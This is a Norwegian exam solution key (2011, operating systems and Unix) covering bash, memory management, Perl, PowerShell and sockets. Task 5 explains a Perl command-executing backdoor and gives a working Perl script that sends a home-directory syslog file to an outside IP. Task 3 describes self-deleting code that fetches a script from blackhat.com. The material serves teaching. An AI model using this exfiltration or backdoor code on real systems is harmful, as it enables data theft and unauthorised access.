Løsningsforslag, eksamen våren 2011 Operativsystemer og Unix

Oppgave 1 - Bash og prosesser (25%)

a) pwd > /tmp/pwd

b)

#! /bin/bash
echo "$1 og $2"

c)

#! /bin/bash
java Calc

d)

$ ./run&
$ ./run
hvor ./ er nødvendig om '.' ikke er med i PATH. Eventuelt
(./run&);./run
om man vil gjøre det med en enlinjes kommando (./run&;./run gir syntax error near unexpected token ;).

e) Det vil ikke gå raskere å kjøre disse prosessene samtidig. Siden de er CPU-intensive vil de bruke 100% av CPUen når de først kjører og prosessene vil dermed i praksis måtte bytte på å bruke CPUen. Når det ikke er noen naturlig ventetid på data eller I/O er det ikke noen tid å tjene inn på multitasking.

f) Denne måten å kjøre programmet på vil i praksis ligne mye på den forrige. Linux vil schedulere de to trådene som uavhengige enheter, og som for prosessene må de pent dele på den ene CPUen som er tilgjengelig. Dermed vil det hele gå omtrent like fort. En context switch går litt fortere mellom to tråder, men i praksis vil det være umerkelig sammenlignet med den tiden beregningene bruker. Det vil også brukes litt mindre minne siden trådene kjører noe felles kode.

g) Linux betrakter CPUen med hyperthreading som to kjerner (rapporterer to CPUer i /proc/cpuinfo) og kjører en tråd på hver av disse. Men i en slik CPU er det kun èn ALU og når alle instruksjonene bruker ALUen vil de to trådene måtte bytte på å bruke denne og det vil ikke gå fortere å kjøre programmet. Hyperthreadingen gjør at trådene kan switches mellom ekstremt hurtig, men det hjelper ikke når de aldri må vente på data fra minne eller I/O, og den andre tråden dermed ikke kan utnytte denne ventetiden til å gjøre instruksjoner.

h) Først legges tallet som gis som argument i variablene $tty, 3 i dette tilfellet. Scriptet går i en evig løkke og leser inn input fra tastaturet til variabelen $in. For hver linje som skrives inn, utføres dette som en kommando i shellet. Resultatet av kommandoen sendes til /dev/pts/3 og vises på storskjermen. Dermed ser det for tilskuerne ut som om de muntlige kommandoene utføres når de blir sagt høyt. I tillegg utføres kommandoen på det lokale shellet til lærer K, slik at han ser resultatet av kommandoen selv.

i) Denne feilmeldingen sendes til STDERR og det er bare STDOUT som vidresendes til den andre pts'en. Dermed vil den vises to ganger i det lokale shellet til lærer K. Om linje 6 endres til

   $in &> /dev/pts/$tty
vil også feilmeldingen sendes til storskjermen. Følgende gir også det samme: $in > /dev/pts/$tty 2>&1.

Oppgave 2 - Internminne (20%)

a) KOm det tar et nanosekund å hente data fra et register, kan det ta 1-5 nanosekunder å hente fra CPU-cache, avhengig av om det er L1, L2 eller L3 cache og omtrent 10-50 nanosekunder å hente fra RAM. Disk aksess tar flere millisekunder, altså omtrent en million ganger så lang tid.

b) Ved hjelp av en pagetabell i MMU og i selve minnet lagres lokasjonen for alle sider som befinner seg i RAM. Dermed kan alle instruksjoner CPU utfører bruke virtuelle adresser i sitt eget adresserom, uavhengig av hvor i det fysiske RAM siden virkelig ligger. Når sider lastes inn og ut fra swap-området, trenger bare pagetabellen å oppdateres og sidene kan plasseres hvor som helst i RAM.

c) Ja, selve den kjørbare koden, instruksjonene, endrer seg ikke og den kan derfor ligge på samme sted på disken og leses derfra ved behov. Disse sidene behøver aldri å skrives ut på nytt siden de ikke endres. Data og variabler, heapen, kan dynamisk endres og vokse og dette legges i spesielle swap-områder på disken slik at de hurtig kan skrives til og eventuelt krympes eller utvides når endringer skjer.

d) Ja, det vil først bli sjekket om denne byte'n ligger i cache og den blir hentet derfra om den gjør det. Hvis ikke er det en cahce-miss og den må hentes fra RAM.

e) Tallene ligger allerede i registerne, så det er ikke behov for å hente noe fra RAM/cache for å utføre denne instruksjonen.

f) Adresserommet er da på $2^{10} = 1024$ adresser.

g) Det er plass til 8 sider i adresserommet, $1024/128 = 8$.

h) Det fysiske minnet er like stort som det virtuelle adresserommet og det gir da ikke mening å bruke virtuelt minne, siden bare èn KByte kan adresseres. Dermed er maksimal størrelse for et program 1 KByte.

i) En cahce miss tar 10-50 nanosekunder, siden data må hentes fra RAM. En page fault betyr at en hel side må hentes fra disk og det tar flere millisekunder, altså minst 100.000 ganger så lang tid (en cache miss kan enkelte ganger også føre til en page fault, og da tar den tilsvarende lang tid).

j) Det er to faktorer som medvirker til at versjon to tar nesten 50 ganger så lang tid. For det første utnytter den første versjonen cacheing av dataene som skrives mye bedre siden denne versjone hele tiden skriver til bytes i minne som ligger ved siden av hverandre. I versjon to er det hele tiden hundre byte i mellom. Men hvis kunne denne faktoren spilte inn, ville ikke forskjellen vært så stor, siden forskjellen mellom cahce og RAM-hastighet ikke er like stor. Faktor to er at den første versjonen kun skriver til de første 2 millioner heltallene i RAM. Typisk er et heltall på fire byte, og 8MByte brukes. Dette kan fint ligge i RAM. Versjon nummer to skriver da til 800MByte og dette vil typisk involvere skriving til swap om det ikke er plass til alle dataene i RAM på en gang. Den store forskjellen i hastighet tyder på at det er tilfelle.

Oppgave 3 - Perl (20%)

a) 1. Skalarvariablen $i settes til 0 - hvis den ikke er satt. defaultverdi for alle skalarer er den tomme strengen, "", som valuerer til usann i en logisk test. Dersom $i ikke er satt vil den valuere til usann og neste ledd i "or"-uttrykket valueres.
2. $i inkrementeres med 1.
3. "Monitor n running!" skrives til stdout, der n er verdien av $i.
4. Programmet venter i 60 sekunder

b)

TIMTOWTDI. Forslag:
#! /usr/bin/perl               #optional
sub winlog{
        chdir "$ENV{HOME}/powershellImport";
        #Evt. chdir; chdir("powershellImport");
        open(FIL,"syslog.txt");
        while($line=<FIL>){
                @words=split(":",$line);
                if($words[0] =~ /Error*/){
                        $count++;
                }
        }
        if($count){
                print "true";
        }else{
                print "false";
        }
        close(FIL);
}

c) 1. Programmet leser inn sin egen kildekode, og lagrer hver linje i et array.
2. Programmet sletter seg selv, men kildekoden ligger lagret i minnet.
3. Programmet kjører "plugin"-subrutinen, som involverer en pause. (og hver gang skriver ut Monitor 1 running!)
4. Programet skriver ut sin egen kildekode til en ny fil, "monitor.n", der n er 7 større enn i programmets opprinnelige navn.
5. Programmet kopierer binærfilen perl, til filen ./n, der n er den samme som over
6. Programmet starter den nye kopien av perl, med filen som inneholder den nye kopien av kildekoden som argument.
7. Programmet sover 1 sekund og sletter så den nye kopien av perl. (Da har perl rukket å lastes inn på stack)
8. Programmet laster inn og kjører et shell-script fra blackhat.com - vi vet ikke hva dette scriptet gjør.

d) Monitor.70 (Programmet sover 60 sekunder i subrutinen plugin, før den starter den nye prosessen. Den sover også 1 sekund før kopien av perl slettes. Hver kjøring tar altså 61 sekunder, men den nye prosessen er da startet etter 60 sekunder, og det siste sekundet kjører de i parallell. De første 60 sekundene vil prosessen hete "perl", før prosess 7 starter. 1 minutt senere heter den 14, deretter 21, etc. Etter 10 minutter, vil programmet ha kjørt 10 runder og prosessen vil da hete monitor.70.)

Oppgave 4 - Powershell (20%)

a) Kommandoen ls (alias for get-childItem) syslog.txt, returnerer filobjektet for filen med navn syslog.txt. Dette objektet pipes til kommandoen get-member, som lister opp alle metoder og alle egenskaper (properties) ved objektet. Bash er ikke objektorientert, så kommandoen ls syslog.txt | minKommando, vil ikke sende et objekt til minKommando, men bare filnavnet.

b) b) Feilmeldingen sier at klassen "System.String" ikke har noen metode kalt 'setLastAccessTime'. Feilmeldingen gir mening, fordi vi prøver å gjøre et metodekall på strengen "syslog.txt". Det er heller ingen metode på filobjektet som heter setLastAccessTime() - den heter set_LastAccessTime, og en siste ting som er feil er at vi prøver å sende en streng med som argument. Fra utskriften ser vi at metoden tar som argument et DateTime-objekt.

c) $file=ls syslog.txt; $file.set_LastAccessTime($time);
#Evt. (ls syslog.txt).set_LastAccessTime($time);

d) Vi har get_LastAccessTime(), som er en metode, og LastAccessTime, som er en egenskap. Metoder "gjør arbeid", dvs. De kan inneholde instruksjoner til prosessoren, som eksekveres ved et kall, mens egenskapen bare er data.

e) $lastChanged=$file.get_LastAccessTime();
$lastChanged=$file.LastAccessTime;

f)

  TIMTOWTDI
$result=$false;
get-content syslog.txt | foreach{
        if($_ -like "Error*"){
                 $result=$true;
        }
}
$result;

Oppgave 5 - Perl sockets (15%)

a) Programmet starter en server-socket som står og lytter på port 5432. Den venter i en evig løkke på forbindelser. Når en klient kobler seg opp, leser den en linje over socketforbindelsen. Teksten i den linjen som mottas kjøres som en kommando på serveren og resultatet av denne kommandoen sendes tilbake til klienten. Dette gir Mr. Gray en såkalt bakdør slik at han kan kjøre Linux-kommandoer på Norges Banks Linux-server med samme rettigheter som den brukeren som starter serveren.

b) Adressen 10.0.0.8 er en privat IP-adresse. Siden Mr. White har nettilgang kjøres det source-NAT (masquerading) som gjør at klienter kan nå internett. Men for at man ute fra internett skal nå inn til en server med en privat IP-adresse, må det settes opp destination NAT (DNAT) på gatewayen som portforwarder forespørsler på port 5432 til 10.0.0.8. Så lenge det ikke er gjort kan ikke Mr. Gray bruke serveren.

c)

#! /usr/bin/perl
use IO::Socket::INET;
my $socket = IO::Socket::INET->new(PeerAddr => "55.127.38.115", PeerPort => "5432");
open(FIL,"$ENV{HOME}/powershellImport/syslog.txt"); # ~ går ikke i Perl 
while($line = <FIL>){
         $file .= $line;
}
close(FIL);
print $socket $file;
close($socket);

d) Siden denne løsningen gjør en oppkobling fra en klient på innsiden av det private nettet, vil SNAT som allerede kjører sørge for at oppkoblingen vil kunne lykkes. I virkeligheten ville nok Norges Bank hatt en brannmur som stopper pakker på vilkårlige portnummere. Men siden Mr. Gray ble fornøyd var det tydligvis ikke tilfelle...



haugerud 2011-07-08